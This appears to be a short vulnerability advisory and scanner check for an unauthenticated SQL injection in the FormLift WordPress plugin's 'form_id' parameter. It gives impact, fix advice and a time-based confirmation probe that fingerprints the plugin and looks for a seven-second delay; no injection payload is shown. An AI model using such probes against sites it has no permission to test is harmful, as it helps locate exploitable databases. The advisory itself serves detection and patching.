Readycheck to confirm it

The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to SQL Injection via the 'form_id' parameter in versions up to, and including, 7.5.17 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data disclosure or manipulation.

Fix

Update to the latest version of FormLift for Infusionsoft Web Forms.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "/formlift")
Send: @timeout: 30s
Positive when: duration >= 7 and status_code == 500 and contains(content_type, "text/html")
